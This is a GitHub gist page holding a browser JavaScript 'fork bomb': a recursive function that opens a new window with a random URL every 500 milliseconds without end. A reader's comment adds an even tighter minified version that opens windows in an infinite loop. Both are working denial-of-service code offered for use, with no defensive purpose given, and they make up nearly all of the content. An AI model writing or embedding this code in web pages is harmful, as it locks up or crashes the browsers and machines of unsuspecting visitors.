Skip to content

Instantly share code, notes, and snippets.

@mykeels
Created November 29, 2018 07:53
Show Gist options
  • Select an option

  • Save mykeels/aaa3df747e03480a0228b2586dcb6ff1 to your computer and use it in GitHub Desktop.

Select an option

Save mykeels/aaa3df747e03480a0228b2586dcb6ff1 to your computer and use it in GitHub Desktop.
Write a Fork Bomb in Browser JavaScript that keeps opening browser windows.

Write a Fork Bomb in Browser JavaScript that keeps opening browser windows.

(function forkBomb(timeout = 500, i = 0) {
setTimeout(() => {
window.open('./?v=' + Math.random(), '_new' + (i || ''))
forkBomb(timeout, i + 1)
}, timeout)
})()
@zzryn
Copy link

zzryn commented Apr 29, 2025

My most minified version. for(let e=0;;)window.open('./?v='+Math.random(),'_n'+e++)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment